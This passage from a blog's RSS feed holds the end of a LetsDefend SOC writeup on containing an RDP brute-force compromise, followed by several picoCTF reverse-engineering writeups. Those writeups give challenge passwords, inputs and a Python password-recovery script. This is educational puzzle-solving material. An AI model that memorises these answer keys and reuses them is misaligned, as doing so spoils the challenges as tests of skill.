&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6twj7rvs1k4p2cf0pxh6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6twj7rvs1k4p2cf0pxh6.png" alt="logon successful" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I then found one successful logon. This confirmed that the brute force attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx75bt6tisrip733bkaf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx75bt6tisrip733bkaf.png" alt="containment" width="800" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 8: I determined that the compromised device must be isolated immediately, as it can pose a risk to the network.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k5uqt2smk5vq9zhoxd9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k5uqt2smk5vq9zhoxd9.png" alt="precontainment" width="800" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybi6z5cz8gw3xxldvx1u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybi6z5cz8gw3xxldvx1u.png" alt="successful containment" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 9: Containment was successfully executed. The device is now isolated.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fta2i8nw3x7uygqiwntzk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fta2i8nw3x7uygqiwntzk.png" alt="Analyst notes" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 11: I documented my findings in the analyst notes:&lt;/p&gt;

&lt;p&gt;The attack was targeted at Matthew’s machine via RDP from IP 218[.]92[.]0[.]56 using a brute force method. Logs confirmed 14 failed logon attempts followed by a successful logon to the “Matthew” host device, making this a confirmed compromise. Containment was performed to prevent further spread of damage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjidj0rghuywjoidvdk36.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjidj0rghuywjoidvdk36.png" alt="finish playbook" width="800" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 12) I finished the playbook&lt;/p&gt;

&lt;p&gt;Step 13) I close the alert&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xidp7nymoto4s7ydkfj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xidp7nymoto4s7ydkfj.png" alt="close the alert" width="800" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>soc</category>
      <category>letsdefend</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>picoCTF bloat.py writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Mon, 22 Sep 2025 14:08:19 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/picoctf-bloatpy-writeup-agp</link>
      <guid>https://forem.com/hitanshugedam/picoctf-bloatpy-writeup-agp</guid>
      <description>&lt;p&gt;We are given two files and are askedd to run them in the same directory.&lt;br&gt;
I create a &lt;code&gt;~/tmp&lt;/code&gt; directory on pico webshell and wget those two files in it. First, I open the python file to try to understand the code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg4qk28ndkn9awr5gvzg0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg4qk28ndkn9awr5gvzg0.png" alt="code" width="788" height="900"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This code is obfuscated which makes it difficult for a human to read.&lt;/p&gt;

&lt;p&gt;The variable a is given a long string.&lt;/p&gt;

&lt;p&gt;I head over to &lt;a href="https://www.programiz.com/python-programming/online-compiler/" rel="noopener noreferrer"&gt;Programiz &lt;/a&gt;to find what the first condition is:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3aubc7r8cl1cd3g5dej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3aubc7r8cl1cd3g5dej.png" alt="programiz" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It checks for the argument to be equal to the string "happychance", if it is, then it returns True, else it returns "That password is incorrect" and exits with code 0.&lt;br&gt;
I re-wrote python code in a readable format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a = "!\"#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def check(pwd):
  if pwd == "happychance":
    return True
  else:
    print("The password is incorrect")

def decoder(arg444):
  return join_flag(arg444.decode(), "rapscallion")

def getinput():
  return input("Please enter correct password for flag: ")

def open_flag():
  return open('flag.txt.enc', 'rb').read()

def welc():
  print("Welcome back... your flag, user: ")


def join_flag(first_string, second_string):
    second_string_copy = second_string
    i = 0
    while len(second_string_copy) &amp;lt; len(first_string):
        second_string_copy = second_string_copy + second_string[i]
        i = (i + 1) % len(second_string)        
    return "".join([chr(ord(first_string_char) ^ ord(second_string_char)) for (first_string_char,second_string_char) in zip(first_string,second_string_copy)])


opened_flag_binary = open_flag()
pwd = getinput()
check(pwd)
welc()
decoded_flag = decoder(opened_flag_binary)
print(decoded_flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I decoded this much and after a while, I thought it was enough since later in the code the functions are being called and the values are getting stored in the variables. &lt;/p&gt;

&lt;p&gt;I ran the python file and gave "happychance" as the input, and there I had my flag!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy559rfvtkrclgdvunblu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy559rfvtkrclgdvunblu.png" alt="gotcha" width="800" height="986"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>picoCTF RPS writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sat, 20 Sep 2025 12:06:55 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/picoctf-rps-writeup-365k</link>
      <guid>https://forem.com/hitanshugedam/picoctf-rps-writeup-365k</guid>
      <description>&lt;p&gt;We are given a Rock-Paper-Scissors game. I used wget to download the source file onto the webshell. I read the C source code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/time.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l &amp;lt;= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&amp;amp;input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &amp;amp;input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &amp;amp;input_set, NULL, NULL, &amp;amp;timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");

  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");

    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins &amp;gt;= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function of interest here is the &lt;code&gt;play()&lt;/code&gt; function. Let’s say int computer_turn = 0, if we look at hands[0], we see that the computer chose ‘rock.’ On &lt;a href="https://www.w3schools.com/c/ref_string_strstr.php" rel="noopener noreferrer"&gt;this page&lt;/a&gt;, I found the &lt;code&gt;strstr()&lt;/code&gt; function returns a pointer to the position of the first occurrence of a string in another string. Now, the computer will check if the user input player_turncontains the string that corresponds to loses[0] i.e. ‘paper’.&lt;/p&gt;

&lt;p&gt;I tried inputting the string &lt;code&gt;rockpaperscissors&lt;/code&gt; 5 times to beat the game and there I found my flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzz9yg5h6clbj6zr347.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzz9yg5h6clbj6zr347.png" alt="flag" width="512" height="1042"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
    </item>
    <item>
      <title>picoCTF classic crackme 0x100 writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 19 Sep 2025 18:27:29 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/picoctf-classic-crackme-0x100-writeup-1mbo</link>
      <guid>https://forem.com/hitanshugedam/picoctf-classic-crackme-0x100-writeup-1mbo</guid>
      <description>&lt;p&gt;We are given a binary file in this challenge and are asked to reverse engineer it. I download it on my windows laptop and decompile it on &lt;a href="//www.dogbolt.org"&gt;DogBolt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I scroll down till I find the main() function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdh9emspm1acsgh2vxtj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdh9emspm1acsgh2vxtj.png" alt="decompiled" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I find that some variables and arrays are defined. It begins by copying a fixed 51-character string into a buffer called &lt;code&gt;output&lt;/code&gt;, which represents the correct "transformed" version of the secret password. Then, it prompts the user to input a password, which is read into the &lt;code&gt;input&lt;/code&gt; buffer. The core of the code lies in a nested loop that runs three times: for each character in the input, it performs a complex transformation based on the character's index using bitwise operations and modular arithmetic to shift the character within the lowercase alphabet (&lt;code&gt;'a'&lt;/code&gt; to &lt;code&gt;'z'&lt;/code&gt;). After applying this transformation three times, the code compares the resulting input with the predefined &lt;code&gt;output&lt;/code&gt; string using &lt;code&gt;memcmp&lt;/code&gt;. If the transformed input matches &lt;code&gt;output&lt;/code&gt;, it prints a success message and a placeholder flag; otherwise, it prints "FAILED!".&lt;/p&gt;

&lt;p&gt;I used wget to download the file on pico webshell and give it executable permissions via the &lt;code&gt;chmod&lt;/code&gt; command. &lt;/p&gt;

&lt;p&gt;I wrote a python script with the help of ChatGPT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm"

def transform_char(c, i_1):
    uVar1 = ((i_1 % 0xff) &amp;gt;&amp;gt; 1 &amp;amp; 0x55) + ((i_1 % 0xff) &amp;amp; 0x55)
    uVar1 = ((uVar1 &amp;gt;&amp;gt; 2) &amp;amp; 0x33) + (uVar1 &amp;amp; 0x33)
    iVar2 = (uVar1 &amp;gt;&amp;gt; 4) + ord(c) - 0x61 + (uVar1 &amp;amp; 0xf)
    result = iVar2 % 26 + ord('a')
    return chr(result)

def transform(s):
    return ''.join(transform_char(c, i) for i, c in enumerate(s))

# Reverse the transformation by brute-force
def reverse_transform(target):
    original = ['?'] * len(target)
    for i, target_c in enumerate(target):
        for c in range(ord('a'), ord('z') + 1):
            trial = chr(c)
            if transform_char(trial, i) == target_c:
                original[i] = trial
                break
    return ''.join(original)

# Apply reverse transformation 3 times
current = output
for _ in range(3):
    current = reverse_transform(current)

print("Recovered password:", current)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And I got the original string. I tried it as an input for the file on the webshell and it succeeded. Now that I was sure of the original string, I used the &lt;code&gt;nc&lt;/code&gt; command provided in the challenge to connect to the machine and gave it the string. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hy6jyylnfoqclkob8u2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hy6jyylnfoqclkob8u2.png" alt="webshell" width="701" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how I received the flag!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>picoCTF bbbbloat writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 19 Sep 2025 18:07:29 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/picoctf-bbbbloat-writeup-322</link>
      <guid>https://forem.com/hitanshugedam/picoctf-bbbbloat-writeup-322</guid>
      <description>&lt;p&gt;We are given a binary file here in this challenge. I used wget to download it in the pico webshell, and also downloaded it in my Windows laptop.&lt;br&gt;
I make the file executable using the &lt;code&gt;chmod +x bbbbloat&lt;/code&gt;. From the downloaded file on my Windows laptop, I head over to &lt;a href="//www.dogbolt.org"&gt;Dogbolt&lt;/a&gt; and upload the file there:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fodwx361eer9vzfal0nqs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fodwx361eer9vzfal0nqs.png" alt="dogbolt" width="800" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I keep scrolling down the decompiled code in order to find something interesting. I found the above code of interest. &lt;br&gt;
This code checks if the variable &lt;code&gt;local_48&lt;/code&gt; equals &lt;code&gt;0x86187&lt;/code&gt;, and if so, it sets &lt;code&gt;local_44&lt;/code&gt; to &lt;code&gt;0xd2c49&lt;/code&gt;, then calls a function &lt;code&gt;FUN_00101249&lt;/code&gt; with arguments &lt;code&gt;0&lt;/code&gt; and the address of &lt;code&gt;local_38&lt;/code&gt;, expecting it to return a dynamically allocated string. It stores the result in &lt;code&gt;local_40&lt;/code&gt;, prints the string to standard output followed by a newline, and then frees the allocated memory to avoid a memory leak. The function likely generates or retrieves a string (e.g., a message or flag) when the specific condition is met.&lt;br&gt;
Next, I head over to &lt;a href="https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=86187" rel="noopener noreferrer"&gt;RapidTables&lt;/a&gt;&lt;br&gt;
for converting Hex to Decimal (because when I tried to run the executable bbbbloat file on webshell, it asked me to guess its favourite number i.e. for an integer input)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bqkb4qphzo384ymo0d3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9bqkb4qphzo384ymo0d3.png" alt="rapidtables" width="800" height="962"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;0x86187 = 549255 (in decimal)&lt;/p&gt;

&lt;p&gt;I input that number after executing the bbbbloat file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm5gzjn6st2qrm08s3p6p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm5gzjn6st2qrm08s3p6p.png" alt="input" width="429" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And there we have our flag!&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
